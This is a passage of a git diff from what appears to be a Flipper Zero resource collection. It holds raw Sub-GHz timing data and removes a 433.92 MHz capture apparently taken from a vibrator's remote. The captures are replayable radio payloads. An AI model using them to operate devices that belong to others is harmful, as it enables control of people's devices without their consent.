-1402 1795 -3000 3401 -1402 1795 -1398 1799 -1398 1797 -3002 3401 -1402 1799 -2994 1801 -1402 1799 -1402 1595 -1594 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 -RAW_Data: 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 3401 -3002 1801 -1396 1797 -1402 3401 -1396 1797 -3002 1801 -1400 1801 -1398 3389 -4226 1665 -3024 3337 -3164 3373 -2986 3387 -2994 3393 -3002 3395 -3002 3407 -2996 3395 -2994 3401 -3002 3393 -2996 3401 -3002 3401 -2998 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1398 1797 -1400 1801 -1400 3407 -3006 3193 -1598 1791 -3000 3401 -1396 1797 -1402 1799 -1402 1799 -3002 3395 -1396 1797 -3002 3401 -2996 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1597 -1592 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 3403 -2998 1603 -1598 1791 -1394 3399 -1400 1801 -3002 1801 -1400 3401 -7946 8393 -2610 3601 -3002 3403 -3002 3401 -3002 3393 -3004 3401 -3002 3393 -2994 3407 -3006 3393 -2994 3401 -2996 3401 -2994 3401 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3002 1801 -1398 1791 -1394 1797 -1400 3407 -3006 3401 -1396 1793 -2998 3407 -1404 1795 -1394 1797 -1400 1801 -3002 3403 -1396 1791 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -3004 1595 -1594 1795 -1402 3401 -1402 1799 -3004 3393 -3002 4001 -3612 15189 -2202 3801 -2602 3601 -3004 3401 -3002 3401 -2994 3403 -2994 3407 -2996 3399 -3010 3397 -2990 3393 -3004 3393 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1402 1795 -2992 3401 -1400 1801 -1402 1799 -1402 1795 -2992 3401 -1402 1799 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 -RAW_Data: 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3401 -3006 1601 -1596 1791 -1398 3403 -1400 1801 -3002 3393 -1402 1801 -4208 1657 -1960 1633 -3076 3349 -3166 3183 -3186 3189 -3194 3395 -3002 3401 -2994 3403 -2994 3401 -3002 3399 -3004 3395 -3002 3393 -2994 3403 -3002 3201 -1598 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 3401 -2994 3403 -1396 1791 -3000 3401 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 3395 -3004 1601 -1596 1793 -1398 3401 -1400 1801 -1402 1799 -3002 1797 -1394 3797 -4466 8859 -2000 3797 -2810 3401 -3002 3401 -3002 3403 -3002 3393 -2994 3403 -3002 3401 -3002 3393 -3002 3407 -2998 3399 -2996 3395 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -3002 1799 -1402 1801 -1396 1797 -1400 3403 -2998 3205 -1598 1791 -3000 3401 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 3401 -3004 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 3403 -2994 1799 -1402 1795 -1394 -RAW_Data: 3399 -1400 1801 -1400 1801 -3002 3205 -4194 389 -3580 1837 -3274 3173 -3082 3345 -3118 3293 -3118 3317 -3142 3163 -3174 3183 -3190 3393 -2996 3401 -2994 3401 -3002 3395 -3002 3205 -3198 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 3403 -2994 3401 -1400 1801 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1595 -1594 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3401 -3004 1799 -1402 1795 -1398 3401 -1398 1797 -1400 1801 -1400 1801 -2994 4407 -3396 2177 -2946 3427 -3018 3407 -3004 3407 -3006 3389 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3395 -3002 3393 -3002 3393 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -2996 1799 -1402 1795 -1398 1801 -1400 3407 -3004 3395 -1396 1793 -2998 3407 -1400 1791 -1394 1797 -1400 1801 -1402 1799 -3002 1801 -1402 3401 -1396 1793 -2998 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3004 1799 -1402 1795 -1394 3397 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -7678 1989 -2426 3963 -2528 3683 -2904 3519 -2930 3347 -3168 3373 -2988 3389 -2994 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3393 -1400 1801 -2994 3403 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -2992 3401 -3002 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1599 -1598 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1601 -1598 1791 -1398 1799 -1402 1801 -1396 3397 -3004 1799 -1402 3401 -2994 1801 -1400 1601 -1598 1791 -1398 1801 -1400 3401 -4800 1839 -2646 3737 -2764 3573 -2988 3385 -2994 3395 -3002 3393 -3002 3401 -2994 3403 -3002 3393 -2994 3407 -3006 3393 -2994 3401 -3004 3393 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3405 -3006 3389 -1398 1797 -3002 3405 -1402 1789 -1392 1797 -1400 1801 -1400 1801 -3002 3401 -3002 3395 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 3401 -2994 1801 -1400 3403 -3002 1595 -1594 1797 -1400 1801 -1400 3403 -7764 1463 -3208 3319 -2936 3563 -2976 3385 -2986 3391 -2994 3401 -2994 3401 -2996 3401 -3002 3401 -2994 3403 -2994 3401 -3002 3395 -3002 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1797 -1402 1799 -1402 3405 -2998 3399 -1404 1597 -3190 3401 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -3002 3401 -1402 1801 -2994 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -3002 1801 -1396 3391 -3002 1799 -1402 1801 -1400 3401 -2996 3401 -1706 -RAW_Data: 219 -2872 1657 -2822 3519 -2942 3559 -2974 3385 -2992 3389 -3002 3401 -2994 3403 -2994 3407 -2996 3395 -3002 3393 -3002 3393 -3004 3401 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -3000 1803 -1398 1791 -1398 1801 -1400 3401 -3004 3393 -1400 1801 -2994 3401 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -3002 3403 -1400 1597 -1592 1797 -3002 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 3401 -2994 1801 -1402 3401 -2994 1801 -1400 1795 -1396 3397 -1400 1801 -7342 2387 -2176 3817 -2614 3601 -3002 3403 -3002 3401 -3002 3401 -2996 3405 -2998 3393 -3002 3395 -3002 3393 -3002 3407 -2998 3401 -2994 3393 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1400 1597 -3190 3403 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -3004 1799 -1398 3389 -3002 1801 -1400 3395 -3002 1799 -1402 3593 -4558 1793 -2438 3923 -2740 3563 -2976 3385 -2990 3395 -2994 3401 -2994 3403 -2994 3401 -2994 3401 -3004 3401 -2994 3401 -2994 3407 -2998 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -2994 1801 -1402 1799 -1402 1799 -1398 3389 -3002 3403 -1400 1801 -3002 3401 -1398 1791 -1398 1801 -1396 1797 -1400 1801 -1402 1799 -3002 1801 -1398 3397 -3002 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1597 -1592 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 3401 -2994 1801 -1400 3403 -3002 1595 -1594 3397 -3002 3395 -7924 1529 -3076 3409 -3002 3403 -3002 3401 -3002 3401 -2996 3393 -3002 3401 -2994 3407 -2998 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3399 -1404 1795 -1394 1793 -1398 1799 -1402 1801 -1396 1797 -3002 1801 -1400 1801 -1400 1801 -1402 3397 -3010 3197 -1598 1791 -2992 3401 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 3401 -3000 1603 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -3002 1801 -1400 3401 -2996 1799 -1402 3407 -1400 1591 -3192 3601 -4992 1735 -2952 3401 -3006 3401 -3002 3403 -3002 3401 -2998 3397 -2996 3405 -2998 3399 -3004 3195 -3194 3401 -2994 3403 -2994 3405 -3006 3193 -1598 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 3395 -3002 3401 -1396 1793 -2990 3403 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -3002 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1599 -1598 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1601 -1596 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -3004 1795 -1394 3397 -3002 1801 -1400 3403 -1396 1791 -1398 1801 -8002 1987 -2168 4109 -2272 4115 -2502 3705 -2690 3651 -2834 3423 -3016 -RAW_Data: 3403 -3002 3401 -3002 3401 -3002 3395 -3002 3407 -2996 3395 -2994 3401 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -3000 3407 -1404 1795 -1394 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 3401 -2994 1801 -1400 3403 -2994 3401 -3002 1795 -1394 1797 -1402 3601 -1036 421 -848 843 -1518 1659 -2912 3565 -2984 3385 -2994 3395 -2994 3401 -2994 3401 -3004 3401 -2994 3401 -2994 3403 -2994 3401 -3002 3393 -3004 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1597 -1594 1795 -1402 1801 -1400 3401 -2996 3401 -1396 1797 -3002 3407 -1404 1597 -1592 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -2994 3401 -2994 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3002 1801 -1402 3393 -3002 3401 -3002 1597 -1594 3389 -7770 2021 -2912 3517 -3074 3245 -3022 3423 -3008 3411 -2998 3393 -2994 3401 -2994 3403 -3002 3393 -3002 3407 -2998 3393 -2994 3401 -3008 3397 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 3401 -2994 3393 -1402 1801 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1597 -1594 1795 -1402 1799 -3004 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 -RAW_Data: 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1597 -1594 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -3002 1795 -1394 3399 -3002 3401 -2998 3405 -2996 3599 -1948 429 -20132 735 -734 1509 -192 387 -196272 217 -93450 441 -8180 183 -495896 381 -952 379 -594116 183 -209314 209 -296722 651 -199272 381 -98996 441 diff --git a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub b/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub deleted file mode 100644 index c0f0041f8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 65 -5246 199 -567 361 -10844 65 -8118 133 -1698 65 -2878 97 -7080 65 -2140 63 -688 65 -6346 67 -7826 97 -358 99 -5240 65 -8886 65 -5256 97 -3564 65 -1722 101 -1000 97 -564 97 -3452 99 -10600 63 -1726 65 -3414 99 -954 65 -16644 99 -1650 99 -4996 97 -7468 65 -1558 129 -3934 65 -4848 99 -4418 131 -1742 99 -1546 131 -2670 99 -658 97 -1856 99 -1518 131 -2480 65 -3424 131 -2374 99 -4512 65 -6898 65 -4366 97 -5344 65 -1780 65 -1788 199 -3560 547 -1088 893 -610 403 -1088 915 -554 975 -546 441 -1062 947 -552 445 -1056 947 -534 985 -518 485 -1016 971 -550 471 -1020 481 -1014 491 -998 513 -998 481 -1006 505 -1000 1001 -520 975 -518 1007 -482 521 -984 1009 -492 513 -4870 1143 -3870 517 -994 1011 -482 521 -990 1009 -498 1013 -478 507 -1012 987 -486 513 -988 1009 -486 1019 -516 501 -982 1007 -488 521 -986 527 -978 509 -998 507 -984 517 -1000 511 -978 1013 -506 1007 -498 985 -512 503 -1004 989 -484 539 -4850 1131 -3890 521 -988 1009 -486 513 -1004 1001 -494 997 -482 541 -992 1009 -488 503 -982 1027 -478 1003 -488 535 -986 1009 -486 515 -1006 507 -978 501 -1000 517 -998 511 -976 517 -988 1019 -500 985 -512 1011 -494 521 -980 1015 -478 511 -4870 1145 -3884 497 -980 1005 -486 529 -988 1035 -482 1005 -474 517 -986 1017 -490 513 -1006 1003 -492 1001 -488 511 -990 1007 -486 537 -990 515 -974 515 -1008 479 -998 505 -994 519 -1000 1013 -482 1019 -476 1009 -492 513 -1012 1011 -488 515 -4858 1131 -3896 479 -1014 997 -488 541 -988 1003 -474 1029 -472 537 -984 1009 -486 515 -972 1033 -492 1001 -480 531 -980 999 -506 505 -986 521 -980 517 -1008 505 -1004 489 -986 511 -990 1041 -490 997 -478 1025 -480 509 -1006 1015 -488 517 -4872 1133 -3852 519 -980 1015 -510 507 -982 1029 -484 997 -514 513 -976 1017 -478 515 -1002 1009 -482 1017 -476 515 -998 1007 -480 539 -978 521 -982 525 -976 505 -1002 517 -970 513 -1012 1015 -478 1005 -488 1021 -500 519 -976 999 -506 489 -4896 1111 -3888 515 -1004 1001 -490 525 -978 1009 -482 1011 -488 523 -1000 1009 -482 521 -986 1011 -486 1009 -478 541 -978 999 -512 513 -994 513 -974 519 -990 515 -974 515 -1010 481 -1016 1003 -478 1023 -478 1035 -482 507 -988 1005 -504 523 -4836 1161 -3880 503 -1000 1001 -480 527 